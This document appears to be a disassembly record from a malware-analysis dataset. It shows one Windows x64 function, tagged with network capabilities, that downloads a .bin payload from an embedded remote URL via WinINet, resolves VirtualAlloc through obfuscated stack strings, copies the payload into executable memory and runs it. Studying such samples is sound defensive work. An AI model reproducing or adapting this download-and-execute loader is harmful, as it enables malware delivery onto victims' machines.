Function at 0x140001390
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0xfe0]
mov eax, 0x10e0
call fcn.140015530
sub rsp, rax
mov rax, qword [0x14002c840]
xor rax, rsp
mov qword [rbp + 0xfd0], rax
movdqa xmm0, xmmword [0x140026360]
lea rcx, [0x140026318]
movdqa xmm1, xmmword [str.sdelivr.xyz:5008RtlEnumProcessHehttp:__drop.cdnj0_UJtmYLNJ_2.bin_]
xor esi, esi
movdqu xmmword [rbp - 0x68], xmm0
xor r9d, r9d
xor r8d, r8d
movdqa xmm0, xmmword [0x140026370]
mov edx, 1
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x38], 0
movdqu xmmword [rbp - 0x58], xmm1
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x140001415
mov eax, 1
jmp 0x1400015a4
mov qword [rsp + 0x28], rsi
lea rdx, [rbp - 0x68]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x1100], rdi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x140001458
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x14000159c
xorps xmm0, xmm0
mov qword [rsp + 0x1108], r14
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
nop
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400014a4
mov r9d, dword [rsp + 0x30]
lea r8, [rbp - 0x30]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.1400019e0
cmp dword [rsp + 0x30], esi
ja 0x140001470
mov rcx, rdi
mov qword [rsp + 0x1110], r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x70], 0x74726956
mov dword [rsp + 0x74], 0x416c6175
mov dword [rsp + 0x78], 0x636f6c6c
mov byte [rsp + 0x7c], sil
mov dword [rsp + 0x60], 0x6e72654b
mov dword [rsp + 0x64], 0x32336c65
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], sil
call qword [0x14001fa68]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [rsp + 0x40]
mov r9d, 0x40
mov rbx, qword [rsp + 0x38]
mov r8d, 0x1000
sub ecx, ebx
movsxd r14, ecx
xor ecx, ecx
mov rdx, r14
call rax
mov rsi, rax
test rax, rax
jne 0x1400015be
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
test rbx, rbx
je 0x14000158a
mov rdx, qword [rsp + 0x48]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140001582
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016a6
mov rcx, rbx
call fcn.14001562c
xor eax, eax
mov r15, qword [rsp + 0x1110]
mov r14, qword [rsp + 0x1108]
mov rdi, qword [rsp + 0x1100]
mov rcx, qword [rbp + 0xfd0]
xor rcx, rsp
call fcn.1400155d0
add rsp, 0x10e0
pop rsi
pop rbx
pop rbp
ret
mov r8, r14
mov rdx, rbx
mov rcx, rsi
call sub.msvcrt.dll_memmove
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x6c64746e
mov dword [rsp + 0x54], 0x6c642e6c
mov word [rsp + 0x58], 0x6c
call qword [0x14001fa68]
test rax, rax
je 0x140001550
movdqa xmm0, xmmword [0x140026350]
lea rdx, [rbp - 0x80]
mov rcx, rax
mov dword [rbp - 0x70], 0x737061
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140001550
xor edx, edx
xor ecx, ecx
call rsi
xor eax, eax
mov rcx, r14
mov rdi, rsi
mov edx, 1
rep stosb byte [rdi], al
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SleepEx]
xor eax, eax
mov rcx, r14
mov rdi, rsi
xor edx, edx
rep stosb byte [rdi], al
mov rcx, rsi
call r15
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x14000158c
mov rdx, qword [rsp + 0x48]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140001699
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016a6
mov rcx, rbx
call fcn.14001562c
jmp 0x14000158c
call fcn.140019e00
int3